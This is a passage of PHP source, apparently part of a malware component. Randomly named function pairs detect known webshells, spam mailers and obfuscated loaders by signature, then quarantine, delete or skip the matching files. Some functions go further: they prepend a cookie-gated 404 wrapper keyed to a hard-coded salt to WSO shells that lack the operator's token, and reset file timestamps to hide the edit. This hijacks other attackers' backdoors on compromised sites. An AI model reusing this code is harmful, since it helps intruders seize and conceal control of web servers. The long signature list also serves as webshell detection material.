return FALSE;
}
function gmgj($path)
{
return;
}
function rdajhzytanb($content)
{
if (strpos($content, "=str_replace(\"[t1]\", \"<" . "?\", \$") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gzdlfsihq($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rbdojnpf($content)
{
if (substr_count($content, "].\$") == 15 && strpos($content, "FilesMan") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gjdwc($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rmxcsgkqxay($content)
{
if (strpos($content, "isset(\$_COOKIE['g__g_']") !== FALSE)
{
    return TRUE;
}
return FALSE;

}
function gvauvcynzv($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rnkr($content)
{
if (strpos($content, "eval(gzuncompress(base64_decode('") !== FALSE && strpos($content, "{") === FALSE && strlen($content) > 90000)
{
    return TRUE;
}
return FALSE;
}
function goysjmkeot($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rboxryat($content)
{
if (strpos($content, "file_get_contents('http://www.google.com/safebrowsing/diagnostic?output=jsonp&") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gnnd($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rfyhdzktyp($content)
{
if (strpos($content, "\$smtp_passw, \$email_polucha, \$telo_pisma, \$headers);") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function ghop($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rnakkb($content)
{
if (strpos($content, "ZXZhbChnemluZmxhdGUoYmFzZTY0X2RlY29kZSgielAzbnJ1") !== FALSE)
{
    return TRUE;
}
return FALSE;

}
function gepcfbcv($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rtlsyzq($content)
{
if (substr_count($content, "} . \$") == 36)
{
    return TRUE;
}
return FALSE;
}
function gqwjwzj($path)
{
return;
}
function rzwpchmm($content)
{
if (strpos($content, "if(strpos(\$_REQUEST['file2clean'], 'tell-a-friend.php') !== false)") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gshk($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rbvyvzcfbao($content)
{
if (strpos($content, "<" ."?php eval(\"?" . ">\" . base64_decode(\"PD9waHANC") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gductenbnb($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rkgvtxldh($content)
{
if (strpos($content, "\'#ListChecker#i\', \'#MSIECrawler#i\', \'#NetCache#i\', \'#Nutch#i\'") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gmhgrzuqqj($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rwyavu($content)
{
if (strpos($content, "VeryBIGhyi") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gfheikdyfsl($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rozidoxwqc($content)
{
if (strpos($content, "=str_ireplace(\"i\",\"\",") !==  FALSE && strpos($content, ",E_USER_ERROR);") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gnhujq($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rjbdtpytctp($content)
{
if (strpos($content, "\tdefine('PATH', __DIR__)") !== FALSE && substr_count($content, "                                                                ") > 5)
{
    return TRUE;
}
return FALSE;
}
function gqcd($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rzsz($content)
{
if (strpos($content, "'PATH'") !== FALSE && substr_count($content, "_POST") >= 4 && strpos($content, "OS system") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gzjtl($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rvihqdifzfw($content)
{
if (strpos($content, "include \$_SERVER[\"DOCUMENT_ROOT\"].\"/wp-config.php\";") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gblyx($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function redknrgiev($content)
{
if (substr_count($content, "return \"{\$") > 50)
{
    return TRUE;
}
return FALSE;

}
function gfooyulllk($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rxrcvznpmeq($content)
{
if (strpos($content, "include \$_SERVER[\"DOCUMENT_ROOT\"].\"/wp-config.php\";") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function grswwvff($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rsftishwl($content)
{
if (strpos($content, " }eval(") !== FALSE && strpos($content, "\$i] = chr(ord(\$") !== FALSE && strpos($content, "=gzinflate(\$code($") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gpmcfu($path)
{
return;
}
function rgvoudc($content)
{
if (strpos($content, "\"%2head%3\",\"%1body%3") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gofls($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rokguigekn($content)
{
if (strpos($content, "b374k 2.8") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gvlzlmyk($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rotuy($content)
{
if (substr_count($content, "; goto ") >= 20)
{
    return TRUE;
}
return FALSE;

}
function gyhrglqhxgo($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rgmrxvmhc($content)
{
if (strpos($content, "ms_not_installed") !== FALSE && strpos($content, "\$id = \$_POST['id']") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function grzlmasga($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rfrmckkuka($content)
{
if (strpos($content, "file_get_contents('http://") !== FALSE && strpos($content, "eval") !== FALSE && strpos($content, "@ini_set('display_errors', 0);") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gfdoy($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rbduoxrlrss($content)
{
if (strpos($content, "?yid=%d&lid=%d&jumpurl=%d&from=%s") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gkosypnbrub($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rkdmkf($content)
{
if (strpos($content, "eval(\"\\x65\\x76\\x61\\x6C\\x28\\x67\\x7A\\x69\\x6E\\x66\\x6C\\x61\\x") !== FALSE and substr_count($content, "\n") <= 2)
{
    return TRUE;
}

return FALSE;
}
function gxbixaxa($path)
{
return;
}
function rxkmrj($content)
{
if (strpos($content, "// by k2ll33d / fb/k2ll33d") !== FALSE)
{
    return TRUE;
}

return FALSE;

}
function gqwh($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function racremsze($content)
{
if (strpos($content, "<center>W3LL M!N! SH3LL</center>") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function glcak($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rlbxlw($content)
{
if (strpos($content, "if(!\$ping){post_mch(\$sd,'C1',\$rel);}") !== FALSE)
{
    return TRUE;
}
}
function gexpqi($path)
{
return;
}
function rwkwtyerocz($content)
{
if (strpos($content, "print '*valid:ok*'.\$crlf;") !== FALSE)
{
    return TRUE;
}
}
function gbvgqkms($path)
{
return;
}
function rtvqhohac($content)
{
if (strpos($content, "if (is_array(\$s) && (count(\$s) > 0) && isset(\$s[0]['txt']) && strlen(\$s[0]['txt']))") !== FALSE)
{
    return TRUE;
}

}
function gilrtsff($path)
{
return;
}
function rrvyus($content)
{
if (strpos($content, "\$_REQUEST['action'] == 'indt'") !== FALSE and strpos($content, "mail(stripslashes(base64_decode") !== FALSE)
{
    return TRUE;
}
}
function godt($path)
{
return;
}
function rqwrdtyq($content)
{
if (strpos($content, "eval(\"\\x65\\x76\\x61\\x6C\\x28\\x67\\x7A\\x69\\x6E\\x66\\x6C\\x61\\x74\\x65\\x28\\x62\\x61\\") !== FALSE)
{
    return TRUE;
}
}
function gejtcnw($path)
{
return;
}
function rxunpzftnfg($content)
{
if (strpos($content, "{\$r='';for(\$i=0;\$i<strLen(\$p);\$i+=2){\$r.=chr(hexdec(\$p[\$") !== FALSE)
{
    return TRUE;
}
}
function gqrm($path)
{
return;
}
function rnqmryam($content)
{
if (strpos($content, "){array_map(create_function('',\$errstr),array(''));}set_error_handler(") !== FALSE)
{
    return TRUE;
}
}
function gqqp($path)
{
return;
}
function rqzrzt($content)
{
if (strpos($content, "\$this->muf=\$this->dispatch('GIF89alxWam9FZlRWYvxGc19VZ29Wb');") !== FALSE)
{
    return TRUE;
}

}
function glotefvbqi($path)
{
return;
}
function rlbffyxxq($content)
{
if (strpos($content, " = mail(\$_POST[") !== FALSE)
{
    return TRUE;
}

if (strpos($content, " = mail(base64_decode(") !== FALSE)
{
    return TRUE;
}

if (strpos($content, " = mail(stripslashes(\$") !== FALSE)
{
    return TRUE;
}

if (strpos($content, " = mail(stripslashes(\$") !== FALSE)
{
    return TRUE;
}

if (strpos($content, "mail") !== FALSE && substr_count($content, "stripslashes(base64_decode(\$_POST[") == 4)
{
    return TRUE;
}

if (strpos($content, "eval(\"return eval(\"\$code\");\") ?>") !== FALSE)
{
    return TRUE;
}

if (strpos($content, "if(isset(\$_POST[\"msgbody\"]))") !== FALSE && strpos($content, "if(isset(\$_POST[\"msgsubject\"]))") !== FALSE)
{
    return TRUE;
}


return FALSE;
}
function gmsrwmztvxb($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rkyvxl($content)
{
if (strpos($content, "eval") !== FALSE)
{
    $brace1 = substr_count($content, "{");
    $brace2 = substr_count($content, "(");
    if (($brace1 == 3 || $brace1 == 2) && ($brace2 == 6 || $brace2 == 4))
    {
        return TRUE;
    }
}

return FALSE;
}
function glfevngugu($path)
{
if(!@rename($path, $path . ".suspected"))
{
    @unlink($path);
}
}
function rxvtichw($content)
{
if (strpos($content, "if(mail(\$MailTo,") !== FALSE)
{
    if (substr_count($content, ")") == 14)
    {
        return TRUE;
    }
}

return FALSE;
}
function gzwovsh($path)
{
if(!@rename($path, $path . ".suspected"))
{
    @unlink($path);
}
}
function rxxggwizxk($content)
{
if (strpos($content, ";eval(\$") !== FALSE)
{
    if (substr_count($content, ")") == 6)
    {
        return TRUE;
    }
}

return FALSE;
}
function ghfhcvnb($path)
{
if(!@rename($path, $path . ".suspected"))
{
    @unlink($path);
}
}
function rbgpqtorhu($content)
{
if (strpos($content, "<?php @eval(\$_POST[") !== FALSE)
{
    return TRUE;
}

return FALSE;

}
function gjebudiam($path)
{
if(!@rename($path, $path . ".suspected"))
{
    @unlink($path);
}
}
function rhhgg($content)
{
if (strpos($content, "http://www.fopo.com.ar/") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function gril($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rsvmaoyxv($content)
{
$auth_token = md5(md5($_SERVER['HTTP_HOST']) . $_SERVER['HTTP_HOST'] . "salt1I*@#31RTds34+543sf");

$s1 = strpos($content, "FilesMan");
$s2 = strpos($content, "WSOsetcookie");

$s3_1 = strpos($content, "default_use_ajax");
$s3_2 = strpos($content, "default_action");

if (($s1 !== FALSE || $s2 !== FALSE || ($s3_1 !== FALSE && $s3_2 !== FALSE)) and strpos($content, $auth_token) === FALSE) 
{
    return TRUE;
}

return FALSE;
}
function gqsbnkbedbb($path)
{
$auth_token = md5(md5($_SERVER['HTTP_HOST']) . $_SERVER['HTTP_HOST'] . "salt1I*@#31RTds34+543sf");
$space_str = "";
for ($i=0; $i<512; $i++) {$space_str .= " ";}
$payload = "<" . "?php " . $space_str . " if (!isset(\$_COOKIE['[AUTH]'])) {header('HTTP/1.0 404 Not Found');exit;} ?> ";
$payload = str_replace('[AUTH]', $auth_token, $payload);
$data = @file_get_contents($path);

$mod_time = @stat($path);
@unlink($path);
@file_put_contents($path, $payload . $data);
if ($mod_time)
{
    @touch($path, $mod_time['mtime']);
}

}
function rjtnba($content)
{
if (strpos($content, "  ,\"") !== FALSE && strpos($content, "\";\$") !== FALSE && strpos($content, "'\".\$") !== FALSE && substr_count($content, " = \"") == 3)
{
    return TRUE;
}

return FALSE;
}
function ghynflnunp($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rkprvkughe($content)
{
if (substr_count($content, ".chr(") > 20 && substr_count($content, "\n") < 10)
{
    return TRUE;
}
return FALSE;
}
function gcyilfdtp($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rndmjx($content)
{
if (strpos($content, "<?php \$") === 0 && substr_count($content, ";\$") == 7)
{
    return TRUE;
}

return FALSE;
}
function gcaxbglipl($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rmwhiqykls($content)
{
if (strpos($content, "};eval(\$") !== FALSE && substr_count($content, "}.\$") == 21 && substr_count($content, "};\$") == 4)
{
    return TRUE;
}

return FALSE;
}
function grwn($path)
{
$content = @file_get_contents($path);

$start = strpos($content, "<" . "?php");
if ($start !== FALSE)
{
    $stop = strpos($content, "?" . ">", $start);
    $payload_pos = strpos($content, "};eval(\$");

    if ($stop != FALSE && $payload_pos !== FALSE && $payload_pos < $stop)
    {
        $stop += 2;
        @file_put_contents($path, substr($content, $stop));
    }
}
}
function rvwcypxh($content)
{
if (substr_count($content, "].\$") == 15 && substr_count($content, ").\"") >= 9)
{
    return TRUE;
}

return FALSE;
}
function gkmfryx($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rhwiwefztt($content)
{
if (strpos($content, "echo \"file test okay\";") !== FALSE && strpos($content, "if( isset(\$_REQUEST[\"test_url\"]) ){") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function gogzhqugqor($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rhca($content)
{
if ((strpos($content, "eval") !== FALSE || strpos($content, "preg_replace") !== FALSE || strpos($content, "_REQUEST") !== FALSE || strpos($content, "_PO") !== FALSE) && substr_count($content, "\n") <= 1 && strlen($content) < 1000)
{
    return TRUE;
}

return FALSE;
}
function gtmqnkgf($path)
{
return;
}
function ragyc($content)
{
if (strpos($content, "null==getCookie(\"__cfgoid\")&&(setCookie(\"__cfgoid\",1,1),") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function gmbzooat($path)
{
return;
}
function roqchrz($content)
{
if (strpos($content, " = \"\\x69\\x6e\\x74\\x76\\x61\\x6c\"; \$") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function gqakfc($path)
{
return;
}
function rdiolxuxzo($content)
{
if (strpos($content, "\$wp_enc_file = '<" . "?php eval(\"") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gqfxrgf($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rmmrfkxupxa($content)
{
if (strpos($content, "\treturn @gzinflate") !== FALSE && strpos($content, "'] : (isset(\$_COOKIE['") !== FALSE && strpos($content, "<form method=\"post\" action=\"\">") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gvubgdnxupm($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rogrczmdy($content)
{
if (strpos($content, "urldecode(\"%6E1%7A%62%2F%6D%615%5C%76") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function gfxjhlbavv($path)
{
return;
}
function rqhmiatcglx($content)
{
if (strpos($content, "\"));'); \$strings(\$light);") !== FALSE || strpos($content, "@\$strings(str_rot13('riny(") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function gifgtbhcwjg($path)
{
return;
}
function rbaok($content)
{
if (strpos($content, "\$f = \$a(\"\", \$array_name(\$string));") !== FALSE && strpos($content, "MALWARE") === FALSE)
{
    return TRUE;
}
return FALSE;
}
function gjnumzj($path)
{
return;
}
function rwcsulio($content)
{
if (strpos($content, "if( isset(\$_POST['_f_wp']) ) @setcookie( '_f_wp', \$_POST['_f_wp'] );") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gcqh($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rqcasimrwt($content)
{
if (strpos($content, "<" . "?php eval(gzinflate(base64_decode('") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gasekqfrge($path)
{
return;
}
function rmsygn($content)
{
if (substr_count($content, "].\$") == 15 && strpos($content, "FilesMan") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gyrnv($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rsebgzme($content)
{
if (substr_count($content, "} . \$") == 36)
{
    return TRUE;
}
return FALSE;
}
function gidnrttakqe($path)
{
return;
}
function rslbpbdjwan($content)
{
if (strpos($content, "\'#ListChecker#i\', \'#MSIECrawler#i\', \'#NetCache#i\', \'#Nutch#i\'") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gyrvwkgvi($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rincjv($content)
{
if (substr_count($content, "return \"{\$") > 50)
{
    return TRUE;
}
return FALSE;

}
function geoshbivut($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rwdn($content)
{
if (strpos($content, " }eval(") !== FALSE && strpos($content, "\$i] = chr(ord(\$") !== FALSE && strpos($content, "=gzinflate(\$code($") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gkugilemb($path)
{
return;
}
function rahi($content)
{
if (strpos($content, "ms_not_installed") !== FALSE && strpos($content, "\$id = \$_POST['id']") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gxxgtgeh($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rmgxrrfd($content)
{
if (strpos($content, "if(!\$ping){post_mch(\$sd,'C1',\$rel);}") !== FALSE)
{
    return TRUE;
}
}
function gcdhsjeb($path)
{
return;
}
function rjgzkmha($content)
{
if (strpos($content, "if (is_array(\$s) && (count(\$s) > 0) && isset(\$s[0]['txt']) && strlen(\$s[0]['txt']))") !== FALSE)
{
    return TRUE;
}

}
function gibdtrpl($path)
{
return;
}
function rntocg($content)
{
if (strpos($content, "{\$r='';for(\$i=0;\$i<strLen(\$p);\$i+=2){\$r.=chr(hexdec(\$p[\$") !== FALSE)
{
    return TRUE;
}
}
function gpmvwdum($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function riwuypev($content)
{
if (strpos($content, "z0=\$_REQUEST['sort'];\$q1='';\$c2=\"wt8m4;") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gwsmsacozy($path)
{
return;
}
function rhsnttgvvt($content)
{
if (strpos($content, "aWYoISRfQ09PS0lFW") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gcgfzxp($path)
{
return;
}
function rndp($content)
{
if (strpos($content, "error_reporting(E_ALL);\$DOMAIN_FNAME1_7QNG") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gwfihwi($path)
{
return;
}
function rnsfdxfkwa($content)
{
if (strpos($content, "@ini_restore('error_log'); @ini_restore('display_errors'); /*") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function gtsgwrewa($path)
{
return;
}
function rrlhonglr($content)
{
if (strpos($content, "<" . "?php eval(gzuncompress(base64_decode('eNq") !== FALSE) 
{
    return TRUE;
}
return FALSE;

}
function gzxe($path)
{
return;
}
function rvgadubhka($content)
{
if (strpos($content, "};}}return $") !== FALSE && strpos($content, "'.''.''.''.'") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function ghuksqzov($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rrpopmsun($content)
{
if (strpos($content, "function wp_sessiion_init(\$ytd){") !== FALSE && strpos($content, "='base64_decode';") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gbtahgqlm($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rkiwgmsnj($content)
{
$sig_3 = "<" . "?php eval(base64_decode('JGY9ZGlybmFtZSh";
if (strpos($content, $sig_3) !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function ggegiqvz($path)
{
return;
}
function rhgkzcjcb($content)
{
$sig_2 = "if(\$_GET[\"login\"]==\"cmd\"){if(\$_POST['";
if (strpos($content, $sig_2) !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gmmkwufvwh($path)
{
return;
}
function rrahxnfyb($content)
{
if (strpos($content, "//header('Content-Type:text/html; charset=utf-8');") !== FALSE && strpos($content, "global \$symbol_url") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function gxzn($path)
{
return;
}
function rbivgas($content)
{
if (strpos($content, "<script language=javascript>eval(String.fromCharCode(118, 97, 114, 32,") !== FALSE)
{ 
    return TRUE; 
} 

return FALSE;
}
function ghppp($path)
{
return;
}
function rjtxetrdkgi($content)
{
if (strpos($content, "='';@eval(base64_decode('QG9iX3N0YXJ0K") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gwuvq($path)
{
return;
}
function rnvgg($content)
{
 if (strpos($content, "@include_once('/") !== FALSE && strpos($content, $_SERVER["DOCUMENT_ROOT"]) !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gczlwruc($path)
{
return;
}
function rvuabyjt($content)
{
if (strpos($content, "eval(gzuncompress(base64_decode('eNp") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gtzntkkgub($path)
{
return;
}
function rwcrojf($content)
{
if (strpos($content, "('Content-Type:text/html;charset=utf-8');if(!function_exists('str_ireplace')") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gupy($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rtlpld($content)
{
if (strpos($content, "preg_match('#<img src=\"data:image/png;base64,(.*)\">#'") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function ggmkzincf($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rksddrmkht($content)
{
if (strpos($content, "\$meta = 'c'.'hr';") !== FALSE && strpos($content, "@\$docRoot(\$name(\$first,\$second));") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function ghgnooeys($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rxhnujyc($content)
{
if (strpos($content, "# Esecuzione di un comando") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function ghyaxklnoxt($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rhrzl($content)
{
if (strpos($content, "function assert_main_php (\$domain, \$main_php, \$dir)") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gqzqeawvmmj($path)
{
return;
}
function rmbfkpbhdze($content)
{
if (strpos($content, "('', '}'.\$") !== FALSE && strpos($content, "?php function ") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gybygoef($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rcokca($content)
{
if (strpos($content, "\$_FILES[\"filename\"][\"tmp_name\"]") !== FALSE && strpos($content, "Your IP: ") !== FALSE && strpos($content, "move_uploaded_file") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function geuhgbxr($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rgwcnnjvv($content)
{
if (strpos($content, "script_name)) { echo '~Client has been activated") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gnzbdz($path)
{
return;
}
function ryvbwnixbds($content)
{
if (strpos($content, "<" . "?php /* WSO [2.6]  */\$") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gplazuer($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rjrepbmfua($content)
{
if (strpos($content, "password: Xclusiv-3D") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gdtbawzv($path)
{
return;
}
function riktakxio($content)
{
if (strpos($content, "\$sempax = 'eJzs") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gjlly($path)
{
return;
}
function rfhkojrvch($content)
{
if (strpos($content, "Q2k4cUNpQXFJRkpGVmtsV") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gojucdvp($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rcsm($content)
{
if (strpos($content, "\"));return;?" . ">") !== FALSE && strpos($content, "\";eval(base64_decode(\"") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function grrfe($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rqqjttvna($content)
{
if (strpos($content, "{ \$x = ''; for (\$i = 0, \$n = strlen(\$s); \$i < \$n; \$i += 2)") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gvck($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rlqztvtteq($content)
{
if (strpos($content, " = mail(\$_POST[") !== FALSE)
{
    return TRUE;
}

if (strpos($content, " = mail(base64_decode(") !== FALSE)
{
    return TRUE;
}

if (strpos($content, " = mail(stripslashes(\$") !== FALSE)
{
    return TRUE;
}

if (strpos($content, " = mail(stripslashes(\$") !== FALSE)
{
    return TRUE;
}

if (strpos($content, "mail") !== FALSE && substr_count($content, "stripslashes(base64_decode(\$_POST[") == 4)
{
    return TRUE;
}

if (strpos($content, "eval(\"return eval(\"\$code\");\") ?>") !== FALSE)
{
    return TRUE;
}

if (strpos($content, "if(isset(\$_POST[\"msgbody\"]))") !== FALSE && strpos($content, "if(isset(\$_POST[\"msgsubject\"]))") !== FALSE)
{
    return TRUE;
}


return FALSE;
}
function guulknzz($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function riuhdb($content)
{
if (strpos($content, "eval") !== FALSE)
{
    $brace1 = substr_count($content, "{");
    $brace2 = substr_count($content, "(");
    if (($brace1 == 3 || $brace1 == 2) && ($brace2 == 6 || $brace2 == 4))
    {
        return TRUE;
    }
}

return FALSE;
}
function gvmbxhzg($path)
{
if(!@rename($path, $path . ".suspected"))
{
    @unlink($path);
}
}
function rhzyntz($content)
{
if (strpos($content, "if(mail(\$MailTo,") !== FALSE)
{
    if (substr_count($content, ")") == 14)
    {
        return TRUE;
    }
}

return FALSE;
}
function gfsbrnblu($path)
{
if(!@rename($path, $path . ".suspected"))
{
    @unlink($path);
}
}
function rlcv($content)
{
if (strpos($content, ";eval(\$") !== FALSE)
{
    if (substr_count($content, ")") == 6)
    {
        return TRUE;
    }
}

return FALSE;
}
function ggehkr($path)
{
if(!@rename($path, $path . ".suspected"))
{
    @unlink($path);
}
}
function rgkefkzgkoi($content)
{
if (strpos($content, "<?php @eval(\$_POST[") !== FALSE)
{
    return TRUE;
}

return FALSE;

}
function gdumn($path)
{
if(!@rename($path, $path . ".suspected"))
{
    @unlink($path);
}
}
function rhznxh($content)
{
if (strpos($content, "http://www.fopo.com.ar/") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function ggeihrwi($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rmtqyuzev($content)
{
$auth_token = md5(md5($_SERVER['HTTP_HOST']) . $_SERVER['HTTP_HOST'] . "salt1I*@#31RTds34+543sf");

$s1 = strpos($content, "FilesMan");
$s2 = strpos($content, "WSOsetcookie");

$s3_1 = strpos($content, "default_use_ajax");
$s3_2 = strpos($content, "default_action");

if (($s1 !== FALSE || $s2 !== FALSE || ($s3_1 !== FALSE && $s3_2 !== FALSE)) and strpos($content, $auth_token) === FALSE) 
{
    return TRUE;
}

return FALSE;
}
function gmylatk($path)
{
$auth_token = md5(md5($_SERVER['HTTP_HOST']) . $_SERVER['HTTP_HOST'] . "salt1I*@#31RTds34+543sf");
$space_str = "";
for ($i=0; $i<512; $i++) {$space_str .= " ";}
$payload = "<" . "?php " . $space_str . " if (!isset(\$_COOKIE['[AUTH]'])) {header('HTTP/1.0 404 Not Found');exit;} ?> ";
$payload = str_replace('[AUTH]', $auth_token, $payload);
$data = @file_get_contents($path);

$mod_time = @stat($path);
@unlink($path);
@file_put_contents($path, $payload . $data);
if ($mod_time)
{
    @touch($path, $mod_time['mtime']);
}

}
function rahil($content)
{
if (strpos($content, "  ,\"") !== FALSE && strpos($content, "\";\$") !== FALSE && strpos($content, "'\".\$") !== FALSE && substr_count($content, " = \"") == 3)
{
    return TRUE;
}

return FALSE;
}
function gjdnr($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rnfiujozanq($content)
{
if (substr_count($content, ".chr(") > 20 && substr_count($content, "\n") < 10)
{
    return TRUE;
}
return FALSE;
}
function glkfqjmxdgp($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function reyujbokow($content)
{
if (strpos($content, "<?php \$") === 0 && substr_count($content, ";\$") == 7)
{
    return TRUE;
}

return FALSE;
}
function gwobndradi($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rhxh($content)
{
if (strpos($content, "};eval(\$") !== FALSE && substr_count($content, "}.\$") == 21 && substr_count($content, "};\$") == 4)
{
    return TRUE;
}

return FALSE;
}
function ghst($path)
{
$content = @file_get_contents($path);

$start = strpos($content, "<" . "?php");
if ($start !== FALSE)
{
    $stop = strpos($content, "?" . ">", $start);
    $payload_pos = strpos($content, "};eval(\$");

    if ($stop != FALSE && $payload_pos !== FALSE && $payload_pos < $stop)
    {
        $stop += 2;
        @file_put_contents($path, substr($content, $stop));
    }
}
}
function rpkq($content)
{
if (substr_count($content, "].\$") == 15 && substr_count($content, ").\"") >= 9)
{
    return TRUE;
}

return FALSE;
}
function gutgeydes($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rccfu($content)
{
if (strpos($content, "echo \"file test okay\";") !== FALSE && strpos($content, "if( isset(\$_REQUEST[\"test_url\"]) ){") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function gkcblbnt($path)
{
